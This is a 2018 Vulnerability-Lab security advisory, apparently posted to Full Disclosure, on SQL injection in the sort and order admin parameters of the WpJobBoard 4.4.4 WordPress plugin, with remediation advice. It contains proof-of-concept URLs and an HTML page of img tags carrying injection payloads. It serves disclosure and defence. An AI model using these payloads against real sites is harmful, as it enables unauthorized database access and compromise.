Document Title:
===============
WpJobBoard v4.4.4 - Multiple SQL Injection Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1940


Release Date:
=============
2018-01-06


Vulnerability Laboratory ID (VL-ID):
====================================
1940


Common Vulnerability Scoring System:
====================================
6


Vulnerability Class:
====================
SQL Injection


Product & Service Introduction:
===============================
WPJobBoard is bundled with 15+ shortcodes, allowing you to easily build 
completely unique job board and insert additional 
features only when you need it and only where you see fit. WPJobBoard doesn’t 
limit your website to just a job board. 
Along with WPJB, you can still maintain a blog and take advantage of all the 
other features WordPress and its plugins 
and themes offer. You can keep your community and your blog, but you can add a 
professional job board.

(Copy of the Vendor Homepage: https://wpjobboard.net/features/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple 
sql-injection vulnerabilities in the WpJobBoard v4.4.4 wordpress 
web-application plugin.


Vulnerability Disclosure Timeline:
==================================
2018-01-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
WpJobBoard
Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.4.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple remote sql-injection web vulnerabilities has been discovered in the 
WpJobBoard v4.4.4 wordpress web-application plugin.
The vulnerability allows remote attackers to inject own malicious sql commands 
to compromise the database management system.

The sql-injection web vulnerabilities are located in the `order` and `sort` 
parameters of the `wpjb-job` and `wpjb-alerts` module 
GET method requests. Remote attackers are able to execute sql commands by 
performing client-side GET method requests with malicious 
statements via admin.php file. The request method to inject/execute is GET and 
the attack vector of the issue is located on the 
application-side in the insecure request statement. The issue can be exploited 
by privileged wp user accounts without user interaction.

The security risk of the sql web vulnerability is estimated as medium with a 
cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the remote sql injection vulnerabilities requires no user 
interaction and a privileged web-application user account.
Successful exploitation of the remote sql injection results in database 
management system, web-server and web-application compromise.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] wpjb-job
[+] wpjb-alerts

Vulnerable File(s):
[+] admin.php

Vulnerable Parameter(s):
[+] sort
[+] order


Proof of Concept (PoC):
=======================
The sql-injection vulnerability can be exploited by remote attackers without 
user interaction and with privileged web-application user account.
For security appnstration or to reproduce the security web vulnerability follow 
the provided information and steps below to continue.


PoC: Exploitation
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=xml&sort=[SQL-INJECTION
 VULNERABILITY!]&order=asc
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=[SQL-INJECTION
 VULNERABILITY!]
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=[SQL-INJECTION
 VULNERABILITY!]&order=asc


PoC: Exploit Code
<html>
<head><body>
<title>WPJOBBOARD SQL INJECTION PoC</title>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index
&filter=xml&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=all&sort=job_title&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=created_at&order=asc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))>
<img 
src=https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=job_title+desc%2C+IF(1%3D2%2C1%2C(SELECT+1+UNION+SELECT+5))&order=asc>
</body></head>
</html>


--- PoC Error Exception Logs ---
Fatal error: Uncaught exception
'You have an error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near ''' at line 1
-
Fatal error: Uncaught exception 'wp_wpjb_job' with message 
'You have an error in your SQL syntax; check the manual that corresponds to 
your MySQL server version for the right syntax to use near ''' at line 1


Reference(s):
https://wp-jobboard.localhost:8080/
https://wp-jobboard.localhost:8080/wp-admin/
https://wp-jobboard.localhost:8080/wp-admin/admin.php
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-alerts&action=index&filter=all&sort=
https://wp-jobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&action=index&filter=1&sort=job_expires_at&order=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the vulnerable sort and 
order parameters in the web-applicatoon GET method request.
Disallow the usage of special chars to prevent malicious inputs and use a 
prepared statement to resolve the sql-injection vulnerability.
Disallow to display errors by default configuration and include an 
exception-handling to cover further malicious attacks.


Note: The sql-injections has been prevented in the version 4.9.1 up to the 
latest released version 5.1 of the wpjobboard wordpress web-application plugin.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerabilities in the 
wpjobboard web-application is estimated as high (CVSS 6.0).


Credits & Authors:
==================
Vulnerability-Lab [resea...@vulnerability-lab.com] - 
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of 
business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not 
approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for 
criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- 
hacker/analyst/researcher groups or individuals. We do not publish trade 
researcher mails, 
phone numbers, conversations or anything else to journalists, investigative 
authorities or private individuals. 

Domains:    www.vulnerability-lab.com           - www.vulnerability-db.com      
                                - www.evolution-sec.com
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab

Any modified copy or reproduction, including partially usages, of this file, 
resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of other media, are reserved by 
Vulnerability Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website is 
trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, 
modify, use or edit our material contact (admin@) to get an ask permission.

                                    Copyright © 2018 | Vulnerability Laboratory 
- [Evolution Security GmbH]™

-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Reply via email to